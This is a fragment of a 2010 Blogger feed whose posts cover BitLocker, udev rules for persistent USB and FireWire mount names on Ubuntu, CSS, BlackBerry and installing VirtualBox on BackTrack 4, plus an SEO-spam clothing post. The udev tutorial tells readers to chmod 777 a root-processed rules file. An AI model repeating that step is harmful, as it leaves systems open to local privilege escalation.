type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6211017868684450375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/6211017868684450375'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/03/grub-2.html' title='Grub 2'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-5471941412274855526</id><published>2010-03-14T06:31:00.000-07:00</published><updated>2010-03-14T06:31:58.375-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows 7'/><title type='text'>Bitlocker Windows 7 Features</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_NfiDRHFsGPI/S5zlDlBPOcI/AAAAAAAAAB0/CHT-TovidHY/s1600-h/bitlocker.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_NfiDRHFsGPI/S5zlDlBPOcI/AAAAAAAAAB0/CHT-TovidHY/s320/bitlocker.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;How can you help protect your data from loss, theft, or hackers? The answer: BitLocker. If you've got information on your PC that you need to protect, you can help prevent theft or loss by using BitLocker data encryption to put a virtual lock on your files.&lt;br /&gt;Improved for Windows 7 and available in the Ultimate edition, BitLocker helps keep everything from documents to passwords safer by encrypting the entire drive that Windows and your data reside on. Once BitLocker is turned on, any file you save on that drive is encrypted automatically.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_NfiDRHFsGPI/S5zkzR-FbcI/AAAAAAAAABs/6UpCrxk0FaQ/s1600-h/BitLocker4..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="90" src="http://1.bp.blogspot.com/_NfiDRHFsGPI/S5zkzR-FbcI/AAAAAAAAABs/6UpCrxk0FaQ/s200/BitLocker4..jpg" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bitlocker provides you protection options or flexible protection. You can choose to use a password, use the smartcard (need hardware) and the automatic unlocking process that allows you to work with an encrypted drive. Furthermore, Bitlocker will ask you to store the Recovery Key can be used to get your drive back if you forget the password that is used. You can save this file into the USB Flashdisk or other places within your computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-5471941412274855526?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/5471941412274855526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=5471941412274855526' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5471941412274855526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/5471941412274855526'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/03/bitlocker-windows-7-features.html' title='Bitlocker Windows 7 Features'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_NfiDRHFsGPI/S5zlDlBPOcI/AAAAAAAAAB0/CHT-TovidHY/s72-c/bitlocker.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-584591132891738063</id><published>2010-02-26T11:44:00.000-08:00</published><updated>2010-02-26T11:44:18.803-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Ubuntu'/><title type='text'>Mount your USB drive</title><content type='html'>&lt;b&gt;Mount Removable Devices with Persistent Names&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Mount your USB drive so it appears as /media/music every time. Mount your FireWire drive so it appears as /media/data every time.&lt;br /&gt;My storage setup on my Ubuntu box at home is a bit unusual. I have an external drive dedicated to music and another external drive that backs up the music drive. I also have an external drive to hold all my personal documents, pictures, and movies, with another external drive to back up that drive. Those four drives are all connected to my desktop via FireWire. Finally, I have an external drive that's a temp drive: when I download a new movie or set of pictures, or rip a new CD, I keep those files on the temp drive until I can properly place them on the music or personal data drive. Unlike the other four, the temp drive uses USB.&lt;br /&gt;&lt;br /&gt;Five drives sounds cool, but there's a major annoyance associated with them. When I reboot Ubuntu (a rare occasion, to be sure, but it does happen), their mount points shift around. Sometimes FireWire drive number one gets /media/sdb1, and sometimes /media/sdc1. The same thing happens to the other drives as well, which wreaks havoc with my backup scripts and my attempts to SSH in from other machines, to name just two problems I've experienced. I want persistent naming of those drives, so that FireWire number one is always /media/, FireWire number two is always /media/, and so on.&lt;br /&gt;&lt;br /&gt;After much searching, I found the answer on the Ubuntu forums, at http://ubuntuforums.org/showthread.php?t=91948, and in an excellent overview by Daniel Drake titled "Writing udev rules" (http://www.reactivated.net/writing_udev_rules.html). Basically, Ubuntu includes a technology called udev, which manages dynamic devices. I can tell udev how I want it to label each separate drive when I plug it in, a far more efficient and usable method than the default. Here's how to do so.&lt;br /&gt;You're going to be editing a file found at /etc/udev/rules.d/10-local.rules. Check to see if that file already exists on your hard drive:&lt;br /&gt;$ ls /etc/udev/rules.d/10-local.rules&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If it's already there, then you're going to edit it; if it's not there currently, go ahead and create a blank file with the proper name and permissions:&lt;br /&gt;$ sudo touch /etc/udev/rules.d/10-local.rules&lt;br /&gt;$ sudo chmod 777 /etc/udev/rules.d/10-local.rules&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the end of the process described in this hack, the devices will be listed in the 10-local.rules file. The USB drive, for instance, will look like this:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"&lt;br /&gt;&lt;br /&gt;The first partBUS=="usb"is obvious; that's how that drive connects to the machine. The third partNAME{all_partitions}=="temp"makes sense too, since "temp" is the name I want the drive to use in the future as its mount point, instead of /media/sdb1 or whatever else Ubuntu decides to use. But what about that second part? Where is "6R0000065086" coming from?&lt;br /&gt;In order for udev to work, it has to know which specific drive I want to label "temp". When I plug in a drive (or any dynamic device), the drive identifies itself in a whole host of ways. I need to pick a unique data point that I can pass to udev to use for identification. To see what udev sees when you plug in a drive, I run the following command (notice that the path given is the current path that Ubuntu has assigned to the drivein this case, /dev/sda):&lt;br /&gt;$ udevinfo -a -p $(udevinfo -q path -n /dev/sda)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once I press Enter, an enormous amount of data streams by, looking something like this (this listing has been greatly truncated for length):&lt;br /&gt;device '/sys/block/sda' has major:minor 8:0&lt;br /&gt;looking at class device '/sys/block/sda':&lt;br /&gt;SUBSYSTEM=="block"&lt;br /&gt;SYSFS{dev}=="8:0"&lt;br /&gt;SYSFS{range}=="16"&lt;br /&gt;SYSFS{removable}=="0"&lt;br /&gt;SYSFS{size}=="488397168"&lt;br /&gt;SYSFS{stat}==" 2159 102 16586 1871738 28 17 360 204 0 14257 1871942"&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;looking at the device chain at&lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:09.2/usb4/4-1/4-1.2/4-1.2:1.0':&lt;br /&gt;BUS=="usb"&lt;br /&gt;ID=="4-1.2:1.0"&lt;br /&gt;DRIVER=="usb-storage"&lt;br /&gt;SYSFS{bAlternateSetting}==" 0"&lt;br /&gt;SYSFS{bInterfaceClass}=="08"&lt;br /&gt;SYSFS{bInterfaceNumber}=="00"&lt;br /&gt;SYSFS{bInterfaceProtocol}=="50"&lt;br /&gt;SYSFS{bInterfaceSubClass}=="06"&lt;br /&gt;SYSFS{bNumEndpoints}=="02"&lt;br /&gt;SYSFS{modalias}=="usb:v04B4p6830d0001dc00dsc00dp00ic08isc06ip50"&lt;br /&gt;&lt;br /&gt;looking at the device chain at&lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:09.2/usb4/4-1/4-1.2':&lt;br /&gt;BUS=="usb"&lt;br /&gt;ID=="4-1.2"&lt;br /&gt;DRIVER=="usb"&lt;br /&gt;SYSFS{bConfigurationValue}=="1"&lt;br /&gt;SYSFS{bDeviceClass}=="00"&lt;br /&gt;SYSFS{bDeviceProtocol}=="00"&lt;br /&gt;SYSFS{bDeviceSubClass}=="00"&lt;br /&gt;SYSFS{bMaxPower}==" 0mA"&lt;br /&gt;SYSFS{bNumConfigurations}=="1"&lt;br /&gt;SYSFS{bNumInterfaces}==" 1"&lt;br /&gt;SYSFS{bcdDevice}=="0001"&lt;br /&gt;SYSFS{bmAttributes}=="c0"&lt;br /&gt;SYSFS{configuration}==""&lt;br /&gt;SYSFS{devnum}=="3"&lt;br /&gt;SYSFS{idProduct}=="6830"&lt;br /&gt;SYSFS{idVendor}=="04b4"&lt;br /&gt;SYSFS{manufacturer}=="Cypress Semiconductor"&lt;br /&gt;SYSFS{maxchild}=="0"&lt;br /&gt;SYSFS{product}=="USB2.0 Storage Device"&lt;br /&gt;SYSFS{serial}=="6R0000065086"&lt;br /&gt;SYSFS{speed}=="480"&lt;br /&gt;SYSFS{version}==" 2.00"&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;See the line in bold that says SYSFS{serial}=="6R0000065086"? That's the unique serial number for this device, so that's exactly what I'll use in the line I'm adding to 10-local.rules. Notice also that the line BUS=="usb" is also present, in case I don't know how /dev/sda is connected to my box (hey, with five drives, it could happen!). Once again, then, the new line in /etc/udev/rules.d/10-local.rules is:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"&lt;br /&gt;&lt;br /&gt;I need to repeat the process for any other drives as well. Although the next four drives are all connected with FireWire, the process is the same; it's just the listings that are different:&lt;br /&gt;$ udevinfo -a -p $(udevinfo -q path -n /dev/sdb)&lt;br /&gt;&lt;br /&gt;device '/sys/block/sdb' has major:minor 8:16&lt;br /&gt;looking at class device '/sys/block/sdb':&lt;br /&gt;SUBSYSTEM=="block"&lt;br /&gt;SYSFS{dev}=="8:16"&lt;br /&gt;SYSFS{range}=="16"&lt;br /&gt;SYSFS{removable}=="0"&lt;br /&gt;SYSFS{size}=="234441648"&lt;br /&gt;SYSFS{stat}=="1166 102 8386 739882 27 16 344 52 0 6575 739934"&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;looking at the device chain at&lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:04.0/fw-host0/0030e0f4e020dca0/0030e0f4e020dca0-0':&lt;br /&gt;BUS=="ieee1394"&lt;br /&gt;ID=="0030e0f4e020dca0-0"&lt;br /&gt;DRIVER=="sbp2"&lt;br /&gt;SYSFS{address}=="0x0000fffff0000830"&lt;br /&gt;SYSFS{ignore_driver}=="0"&lt;br /&gt;SYSFS{length}=="0"&lt;br /&gt;SYSFS{model_id}=="0x000001"&lt;br /&gt;SYSFS{model_name_kv}=="OXFORD IDE Device LUN 0 "&lt;br /&gt;SYSFS{specifier_id}=="0x00609e"&lt;br /&gt;SYSFS{version}=="0x010483"&lt;br /&gt;&lt;br /&gt;looking at the device chain at&lt;br /&gt;'/sys/devices/pci0000:00/0000:00:1e.0/0000:05:04.0/fw-host0/0030e0f4e020dca0':&lt;br /&gt;BUS=="ieee1394"&lt;br /&gt;ID=="0030e0f4e020dca0"&lt;br /&gt;DRIVER=="unknown"&lt;br /&gt;SYSFS{bus_options}=="IRMC_0_ CMC_0_ ISC_0_ BMC_0_ PMC_0_ GEN_0_&lt;br /&gt;LSPD_2_ MAX_REC_64_ MAX_ROM_0_ CYC_CLK_ACC_255_"&lt;br /&gt;SYSFS{capabilities}=="0x0083c0"&lt;br /&gt;SYSFS{guid_vendor_id}=="0x0030e0"&lt;br /&gt;SYSFS{guid}=="0x0030e0f4e020dca0"&lt;br /&gt;SYSFS{nodeid}=="0xffc0"&lt;br /&gt;SYSFS{tlabels_allocations}=="1262"&lt;br /&gt;SYSFS{tlabels_free}=="64"&lt;br /&gt;SYSFS{tlabels_mask}=="0x05965272090596527209"&lt;br /&gt;SYSFS{vendor_id}=="0x0030e0"&lt;br /&gt;SYSFS{vendor_name_kv}=="Oxford Semiconductor Ltd. "&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;In this instance, udevinfo tells me how this drive is connected to my Ubuntu desktop: BUS=="ieee1394" (remember that IEEE1394 is the official name for FireWire). FireWire drives don't include SYSFS{serial} like USB drives do; instead, their unique identifiers are SYSFS{guid}. This particular drive holds my personal files, so I want it to show up as /media/data. Put all that together, and I add this line to /etc/udev/rules.d/10-local.rules:&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229", NAME{all_&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;partitions}=="data"&lt;br /&gt;&lt;br /&gt;After performing the same task three more times, /etc/udev/rules.d/10-local.rules looks like this:&lt;br /&gt;BUS=="usb", SYSFS{serial}=="6R0000065086", NAME{all_partitions}=="temp"&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020e229",&lt;br /&gt;NAME{all_partitions}=="data"&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020dca0",&lt;br /&gt;NAME{all_partitions}=="data_copy"&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020912c",&lt;br /&gt;NAME{all_partitions}=="music"&lt;br /&gt;BUS=="ieee1394", SYSFS{guid}=="0x0030e0f4e020c727",&lt;br /&gt;NAME{all_partitions}=="music_copy"&lt;br /&gt;&lt;br /&gt;Now I need to test my changes to make sure they'll actually work. First, I need to restart udev, the subsystem that is managing all this craziness:&lt;br /&gt;$ sudo /etc/init.d/udev restart&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now I'll test the rules for the USB external drive to make sure everything will work. To test, I use udevtest. The syntax of the command is:&lt;br /&gt;$ sudo udevtest&lt;br /&gt;&lt;br /&gt;sysfs_device_path&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;subsystem&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How do I know what the sysfs_device_path and subsystem are? Look back when I ran udevinfo -a -p $(udevinfo -q path -n /dev/sda) and notice the first things reported back to me:&lt;br /&gt;looking at class device '/sys/block/sda':&lt;br /&gt;SUBSYSTEM=="block"&lt;br /&gt;&lt;br /&gt;My udevtest command therefore looks like this:&lt;br /&gt;$ sudo udevtest /sys/block/sda block&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The results appear immediately below it (some error messages about other items in udev that aren't important here have been removed):&lt;br /&gt;udevtest.c: looking at device '/block/sda' from subsystem 'block'&lt;br /&gt;...&lt;br /&gt;udevtest.c: opened class_dev-&gt;name='sda'&lt;br /&gt;udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:1' applied, 'sda' becomes 'temp'&lt;br /&gt;udev_add.c: creating device node '/dev/temp', major = '8', minor = '0', mode = '0640', uid = '0', gid = '46'&lt;br /&gt;udev_add.c: creating device partition nodes '/dev/temp[1-15]'&lt;br /&gt;&lt;br /&gt;Excellent! Now I know that udev would in fact create a device name /dev/tempand therefore a mount point at /media/tempinstead of /dev/sda and /media/sda, and will always use that in the future. By the way, don't worryeven though the output says it was creating nodes, it really wasn't. It was just showing me what it would do when it runs for real.&lt;br /&gt;So I know the USB drive works, but what about one of the FireWire drives?&lt;br /&gt;$ sudo udevtest /sys/block/sdd block&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here are the results for that drive (again, some unnecessary data has been removed):&lt;br /&gt;udevtest.c: looking at device '/block/sdd' from subsystem 'block'&lt;br /&gt;...&lt;br /&gt;udevtest.c: opened class_dev-&gt;name='sdd'&lt;br /&gt;udev_rules.c: configured rule in '/etc/udev/rules.d/10-local.rules:5' applied, 'sdd' becomes 'music_copy'&lt;br /&gt;udev_add.c: creating device node '/dev/music_copy', major = '8', minor = '48', mode = '0640', uid = '0', gid = '46'&lt;br /&gt;udev_add.c: creating device partition nodes '/dev/music_copy[1-15]'&lt;br /&gt;&lt;br /&gt;Exactly what I wanted, so it looks like everything will work as intended. Now I restart the machine, and lo and behold, my drives appear, just as I wanted them:&lt;br /&gt;&lt;br /&gt;/media/temp&lt;br /&gt;/media/data&lt;br /&gt;/media/data_copy&lt;br /&gt;/media/music&lt;br /&gt;/media/music_copy&lt;br /&gt;&lt;br /&gt;Of course, there's nothing stopping you from setting up udev so that your digital camera always shows up as /media/camera. Or so your iRiver music jukebox consistently mounts as /media/iriver. And so on. Basically, if your system sees it as a dynamic device, you can use udev to map it to a specific mount point.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-584591132891738063?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/584591132891738063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=584591132891738063' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/584591132891738063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/584591132891738063'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/02/mount-your-usb-drive.html' title='Mount your USB drive'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-3076416387951568602</id><published>2010-02-26T11:41:00.000-08:00</published><updated>2010-02-26T11:41:50.579-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gadget'/><title type='text'>BlackBerry Enterprise Server</title><content type='html'>Connect two people via BlackBerry® smartphones and ideas get bigger. Progress happens faster. Answers get smarter. So imagine what happens when you give a business the freedom to connect all its employees.&lt;br /&gt;BlackBerry® Enterprise Server Express enables businesses of any size to quickly and easily get started with the BlackBerry solution. It provides advanced BlackBerry smartphone features with no additional software or user license fees, and works with any Internet-enabled BlackBerry data plan or a BlackBerry enterprise data plan.&lt;br /&gt;&lt;br /&gt;Source &lt;a href="http://BlackBerry.com" target="_blank"&gt;BlackBerry&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-3076416387951568602?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/3076416387951568602/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=3076416387951568602' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3076416387951568602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/3076416387951568602'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/02/blackberry-enterprise-server.html' title='BlackBerry Enterprise Server'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-7455105207521504267</id><published>2010-02-07T19:34:00.000-08:00</published><updated>2010-02-07T19:34:01.917-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programming'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Design'/><title type='text'>Cascading Style Sheets</title><content type='html'>Cascading Style Sheets (CSS) is a collection of formatting rules that control the appearance of content in a web page. Using CSS styles to format a page separates content from presentation. The content of your page—the HTML code—resides in the HTML file, and the CSS rules defining the presentation of the code reside in another file (an external style sheet) or in another part of the HTML document (usually the head section). Separating content from presentation makes it much easier to maintain the appearance of your site from a central location because you don’t need to update every property on every page whenever you want to make a change. Separating content from presentation also results in simpler and cleaner HTML code, which provides shorter browser loading times, and simplifies navigation for people with accessibility issues (for example, those using screen readers).&lt;br /&gt;CSS gives you great flexibility and control over the exact appearance of your page. With CSS you can control many text properties including specific fonts and font sizes; bold, italics, underlining, and text shadows; text color and background color; link color and link underlining; and much more. By using CSS to control your fonts, you can also ensure a more consistent treatment of your page layout and appearance in multiple browsers. &lt;br /&gt;In addition to text formatting, you can use CSS to control the format and positioning of block-level elements in a web page. A block-level element is a standalone piece of content, usually separated by a new line in the HTML, and visually formatted as a block. For example, h1 tags, p tags, and div tags all produce block-level elements on a web page. You can set margins and borders for block-level elements, position them in a specific location, add background color to them, float text around them, and so on. Manipulating block-level elements is in essence the way you lay out pages with CSS.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-7455105207521504267?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/7455105207521504267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=7455105207521504267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7455105207521504267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/7455105207521504267'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/02/cascading-style-sheets.html' title='Cascading Style Sheets'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-8425514946632327634</id><published>2010-01-28T23:51:00.000-08:00</published><updated>2010-01-28T23:51:38.704-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Anonymouses'/><title type='text'>Choosing Clothing Color Tips</title><content type='html'>Did you know that the color of clothes can reflect the personality, or at least represent a certain sense at the time. Therefore, choose the right color clothes as clothes or clothes shopping online reply can be found on the &lt;a href="http://www.shopwiki.com/wiki/Clothing+for+Girls"&gt;online store&lt;/a&gt;, &lt;a href="http://www.shopwiki.com/wiki/Clothing+for+Girls"&gt;online shopping&lt;/a&gt; or &lt;a href="http://www.shopwiki.com/wiki/Clothing+for+Girls"&gt;shop online&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Black, for example. This is the darkest color from the other for women's clothing or dress of women. Most suitable for you who do not like to appear blunt. Emitted a mysterious character in black darkness. Besides, black is also very representative for an elegant look and sexy. &lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Pink. This color is identical with girlie and feminine impression can diliat at online stores, boutiques online course at the time you want to shop online clothes shopping. Impressive enough to represent the soft and in love feeling rosy. There is nothing wrong with a dinner with a girlfriend Wrap soft shades of pink, very suitable for women's clothing or dress of women. &lt;br /&gt;&lt;br /&gt;Red. Mirror tough and independent. In addition to representing the courage and independence, also red color often seen as a sexy and seductive. &lt;br /&gt;&lt;br /&gt;Blue. Represents the brightness and comfort. Blue enthusiasts are usually very fond of tranquility. If you want to feel comfortable and accepted without having to look very confident, blue color could be a choice when shopping online clothes. &lt;br /&gt;&lt;br /&gt;Orange. A combination of yellow and red colors are identical with the typical person who likes challenges and enjoys appearing as the center of attention. Especially when combined with attractive career woman accessories. The bright colors will also make your mood up. &lt;br /&gt;&lt;br /&gt;Yellow. This bright color symbolizes intelligence and intellectual high. Yellow is also often identified with outdoor colors. This color enthusiasts an optimistic, tough, and resilient. &lt;br /&gt;&lt;br /&gt;White. Everyone knows the color is identical with the one pure and clean. White also includes the safest color other than black, because it can be combined with any color. If you are a thoughtful person, certainly most of the contents of your wardrobe consists of colors is in addition to accessories women. &lt;br /&gt;&lt;br /&gt;Green. Totally identical with nature and everything that smells natural. These colors are fans who loved the things that is natural and peace lovers&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/896536409268105972-8425514946632327634?l=silent-consultant.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://silent-consultant.blogspot.com/feeds/8425514946632327634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=896536409268105972&amp;postID=8425514946632327634' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8425514946632327634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/896536409268105972/posts/default/8425514946632327634'/><link rel='alternate' type='text/html' href='http://silent-consultant.blogspot.com/2010/01/choosing-clothing-color-tips.html' title='Choosing Clothing Color Tips'/><author><name>silent</name><uri>http://www.blogger.com/profile/04880879625502445673</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-896536409268105972.post-2822135885912465037</id><published>2010-01-24T23:25:00.000-08:00</published><updated>2010-01-24T23:25:50.595-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>How to : Installing Virtualbox  Backtrack 4</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_NfiDRHFsGPI/S11F-hXKAaI/AAAAAAAAABk/9byV6P0kI5o/s1600-h/backtrack4b_on_virtualbox.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_NfiDRHFsGPI/S11F-hXKAaI/AAAAAAAAABk/9byV6P0kI5o/s320/backtrack4b_on_virtualbox.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Just some quick installation notes for those looking wanting to install the recent &lt;a href="http://Virtualbox.org" target="_blank"&gt;Virtualbox&lt;/a&gt; release (3.0.4) for &lt;a href="http://www.remote-exploit.org/backtrack_download.html/" target="_blank"&gt;Backtrack 4&lt;/a&gt;. In case you don't know yet - BT4 is the most top rated linux live distribution focused on penetration testing. The new &lt;a href="http://Debian.org" target="_blank"&gt;Debian&lt;/a&gt; core (Ubuntu 8.10) makes Backtrack 4 easily extendable.&lt;br /&gt;&lt;br /&gt;I'm a huge fan of Backtrack and use it as primary Operating System (HD Installation) on one of my laptops, currently studying for the Offensive Security course "Penetration Testing with BackTrack".&lt;br /&gt;&lt;br /&gt;If you are looking for some pointers to get BT4 persistent changes without HD installation, @kriggins "Backtrack 4 USB persistent changes Nessus HowTo" is highly recommended.&lt;br /&gt;&lt;br /&gt;Installation&lt;br /&gt;&lt;br /&gt;Add the following line to your /etc/apt/sources.list:&lt;br /&gt;&lt;br /&gt;deb http://download.virtualbox.org/virtualbox/debian intrepid non-free&lt;br /&gt;Add the following key to your keyring (verify!):&lt;br /&gt;&lt;br /&gt;# wget -q http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc -O- | sudo apt-key add -&lt;br /&gt;Update your package cache&lt;br /&gt;&lt;br /&gt;# apt-get update&lt;br /&gt;Install Virtualbox packages&lt;br /&gt;&lt;br /&gt;# apt-get install virtualbox-3.0&lt;br /&gt;answer the prompt "Should the vboxdrv kernel module be compiled now?" with "Yes"&lt;br /&gt;&lt;br /&gt;If it fails, have a look at /var/log/vbox-install.log and re-run /etc/init.d/vboxdrv setup after fixing the problem (usually missing header files, compiler, etc.)&lt;br /&gt;&lt;br /&gt;start via "/usr/bin/VirtualBox" (case-sensitive!)&lt;br /&gt;Virtualbox is now ready, have fun!&lt;br /&gt;&lt;br /&gt;Note: &lt;br /&gt;Thanks to dkms, the VirtualBox host kernel modules (vboxdrv,&lt;br /&gt;vboxnetflt and vboxnetadp) will be updated automatically if the linux kernel&lt;br /&gt;version changes during the next apt-get upgrade.&lt;br /&gt;&lt;br /&gt;source &lt;a href="http://marsmenschen.com/" target="_blank"&gt;marsmenschen.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' 